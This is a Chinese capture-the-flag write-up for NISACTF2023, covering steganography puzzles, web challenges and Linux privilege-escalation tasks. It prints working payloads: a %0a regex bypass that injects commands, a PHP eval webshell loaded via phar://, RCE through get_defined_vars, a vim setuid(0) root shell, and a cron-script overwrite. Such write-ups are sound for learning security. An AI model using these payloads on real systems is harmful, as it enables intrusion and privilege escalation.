文章目录
NISACTF2023
misc
开门题
先打开附件
发现W那的光标闪烁有点奇怪,猜测可能是零宽度字符隐写
零宽度字符在通常情况下,在一般的文本编辑器中是不可见的
我们可以放到CyberChef看一下是什么
发现有很多隐藏的零宽度字符
两个在线解码网站
- https://330k.github.io/misc_tools/unicode_steganography.html
- https://offdev.net/demos/zwsp-steg-js
第一个网站将原始的文本输入到Original Text
还可以自己选择零宽度字符
但是好像此题解不出来,得用第二个网站
直接丢进去解码
得到
}ysae_os_si_yhpargonagets_ecaps_htdiw_orez{galf
手动倒过来就能得到flag
中国编码
打开附件,发现是压缩包
提示密码为数字
直接archive暴力破解密码
得到密码
得到一张没补全的二维码
我用画图补全完一扫发现flag不在
然后010打开,发现文件尾藏着个压缩包
丢到kali用binwalk分离,得到txt文件
题目提示文件类型为gif,手动添加文件头
修改后缀,发现还是打不开
然后发现中间有一段字符串
丢到CyberChef解码
复制到网上搜一下
应该是跟什么汉信码有关
回去数一下那一串字符串
发现刚好24字节
猜测删掉才能打开图片
得到一张像二维码一样的图片
想到刚刚搜到的汉信码
找了下汉信码的图片
发现需要手动调整位置
利用最简单的画图工具
将四个部分放到正确的位置
题目最后一个提示中国编码中心
应该是要用中国编码app扫
得到flag
250
打开附件,发现是套娃解压zip
利用python脚本解压
import zipfile
import os
def extract_all(file_path, extract_path):
with zipfile.ZipFile(file_path, 'r') as zip_ref:
zip_ref.extractall(extract_path)
print(f"Extracted {file_path} to {extract_path}")
next_file_path = str(int(file_path.split('.')[0]) - 1) + '.zip' #取第一项,每次减1
if os.path.exists(next_file_path):
extract_all(next_file_path, extract_path)
extract_all('250.zip', './')
解压得到一个打不开的文件,010打开
发现文件头为zip文件,加后缀,解压
得到900多张二维码
再次利用脚本批量扫描二维码,并且hex解码
import os
from PIL import Image
import pyzbar.pyzbar as pyzbar
# 指定扫描的目录
directory = 'qrcodes'
# 按顺序遍历目录中的所有图片文件
result = ''
for i in range(1, len(os.listdir(directory))+1):
# 拼接文件路径
filename = os.path.join(directory, str(i) + '.png')
# 打开图片并解码二维码
with open(filename, 'rb') as image_file:
image = Image.open(image_file)
codes = pyzbar.decode(image)
# 将结果拼接到字符串中
if codes:
result += codes[0].data.decode()
else:
result += ''
# 将结果写入文件
with open('4.txt', 'w') as output_file:
output_file.write(result)
得到16进制数据
然后导入,发现文件类型为jpg
修改文件后缀为jpg
得到一张猫的图片
010打开,拉到最下面发现有一串字符串
丢到CyberChef,得到flag
大眼瞪小眼
打开附件,发现有一张图片和一串奇奇怪怪的字符串
图片猜测snow隐写
html文件猜测先转01再转换二维码
直接上脚本
from PIL import Image
# 打开1.txt文件并读取其中的内容
with open('1.txt', 'r') as f:
content = f.read()
# 计算二维码图片的宽度和高度
width = int(len(content) ** 0.5)
height = width
# 创建一张白色背景的图像
img = Image.new('1', (width, height), 1)
# 遍历每个像素,将1转换为黑色,0转换为白色
for y in range(height):
for x in range(width):
if content[y * width + x] == '1':
img.putpixel((x, y), 0)
# 保存生成的二维码图片
img.save('qrcode.png')
二维码扫出来得到password为WowQaq555
根据我们的猜测snow隐写
语句
snow -C -p "WowQaq555" oOoOo.html
得到flag
web
online shell
打开题目,一开始以为是sql注入
后面发现报错信息只有一个
思路一:
猜测要爆破密码
用户名直接猜admin,现在burpsuite爆破
抓包,发送到intruder
选择要爆破的位置
添加弱密码集
得到密码为password
思路二:
用kali扫一下目录
语句
dirsearch -u http://10.144.0.228:35141/
发现有个www.zip
当然两种思路都可以
有个压缩包,打开eval.php
<?php
/*
wowo
*/
$args = @$_GET['args'];
echo "<br>";
if (count($args) >3) {
echo "too many args";
exit();
}
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) ) {
echo "invalid args".$args[$i]."<br>";
exit();
}
}
$cmd = "/bin/255 " . implode(" ", $args);
exec($cmd, $out);
for ($i=0; $i<count($out); $i++){
echo($out[$i]);
echo('<br>');
}
?>
//上传数组的长度得小于等于三
//\w正则匹配0-9a-zA-Z,我们要绕过正则匹配
//%0a绕过$的匹配结尾
//利用implode()函数拼接我们执行的命令
构造payload
eval.php?args[]=xxx%0a&args[]=ls
cat一下,得到flag
eval.php?args[]=xxx%0a&args[]=cat&args[]=flag
阳光开朗大男孩
打开题目链接
一眼文件上传题,右键点开源代码
发现include.php,有文件包含
可以先用伪协议,在include.php查看include.php和upload.php源代码
语句
?file=php://filter/read=convert.base64-encode/resource=include.php
发现会在文件名后加.php后缀,把它去掉
发现一串base64编码
base64解码,得到源代码
发现过滤了很多协议,提示文件是上传到uploads
我们可以用phar伪协议
步骤:
-
一句话木马
<?php @eval($_POST['a']);highlight_file(__FILE__);?>
-
压缩成zip
-
修改后缀为png
去到include.php
payload
include.php?file=phar://uploads/2.png/2
发现上传成功
cat一下,得到flag
跟你双排纯坐牢
点开链接,想右键查看源代码,发现被禁
crul加u打开源代码,找了半天发现在cookie处有提示
去到Spark.php
又有提示
去到h111int.php
发现是rce
phpinfo看看
发现过滤了一些东西
ls查看一下,发现不行
这里要用到php的特性函数get_defined_vars(),可以获得所有已定义的变量,包括$GET。
还有一个current() 函数,可以返回一个数组中正被内部指针指向的元素,在题目这里就是$_GET。
我们在get传参的最后一个参数里写命令,然后就可以构造payload
?code=eval(end(current(get_defined_vars())))
ls再查看一下
?code=eval(end(current(get_defined_vars())));&a=system('ls');
解释:先获得所有已定义的变量,指的是$_GET,再返回一个数组中正被内部指针指向的元素,多传一个get参数,end() 函数用来将数组的内部指针指向最后一个元素,eval执行
注:**a=system(‘ls’);**为我们用end在最后一个参数写的命令
PPC
suuuuudo
题目提示
登录密码为ctf,利用sudo提权
ssh连接
ssh ctf@10.144.00.228 -p 35126
我们先ls查看下有什么文件
直接发现有flag
我们目的用sudo提权,来查看flag
查看权限语句
sudo -l
说明我们只能用base64命令
我们可以借助下面的资料去找我们需要的命令
构造payload
sudo base64 flag | base64 --decode
或者
sudo base64 flag | base64 -d
得到flag
capabilities
题目提示要找到capabilities,利用capabilities提权
ssh连接和前面一样
ls发现有flag
然后查了下capabilities提权相关资料
整体思路:
- 收集带有capabilities属性的程序(带有capabilities就等于执行时带有特权)
- 用该程序进行uid的切换,切换为0即为root
先查看带有cat_setuid的capability的程序
语句
getcap -r / 2>/dev/null
或
getcap -r /
发现是vim的程序
去查我们需要的命令
这里需要修改一下,py -->py3
(不然会报错)
payload
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
去cat一下
得到flag
crooooooon master
题目提示crontab,定时任务提权
我们先查看当前系统中有哪些定时任务
语句
cat /etc/crontab
说明每分钟/home/ctf/backup.sh会以root权限执行一次
我们用flie去查看此文件
发现不行
去查看下文件大小和权限
ls -lh
发现权限不够
但是我们已经知道root每分钟会执行一次
新思路:我们作为低权限用户可以借此提权
语句
echo "chmod 777 /home/ctf/flag" > /home/ctf/backup.sh
(“>” 是覆写文件)
具体解释:
目前的flag文件不具有执行的权限
我们通过root可以执行backup.sh的时候
去echo我们的命令,去提权让所有人能执行flag文件的权限
并且把我们的flag覆写到我们可以查看的文件
提权完,我们再ls -lh查看下文件权限,
发现可以被执行,得到flag